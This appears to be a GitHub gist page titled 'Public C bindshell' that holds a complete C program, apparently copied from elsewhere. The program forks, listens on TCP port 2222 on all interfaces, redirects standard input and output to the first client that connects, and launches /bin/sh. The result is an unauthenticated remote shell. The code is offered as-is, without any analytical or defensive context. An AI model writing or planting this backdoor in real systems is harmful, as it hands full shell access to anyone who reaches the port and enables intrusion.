Created
July 19, 2013 17:31
-
-
Save mrThe/6040918 to your computer and use it in GitHub Desktop.
Public C bindshell.
/from internet
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// See bindshell.asm | |
#include<stdio.h> | |
#include<dlfcn.h> | |
#include<stdio.h> | |
#include<unistd.h> | |
#include<sys/socket.h> | |
#include<netinet/in.h> | |
main() { | |
int soc,cli,soc_len; | |
struct sockaddr_in serv_addr; | |
struct sockaddr_in cli_addr; | |
if(fork() == 0) { | |
serv_addr.sin_family = AF_INET; | |
serv_addr.sin_port = htons(2222); | |
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); | |
soc = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); | |
bind(soc, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); | |
listen(soc, 1); | |
soc_len = sizeof(cli_addr); | |
cli = accept(soc, (struct sockaddr *)&cli_addr, &soc_len ); | |
dup2(cli, 0); | |
dup2(cli, 1); | |
dup2(cli, 2); | |
execl( "/bin/sh", "/bin/sh", NULL ); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment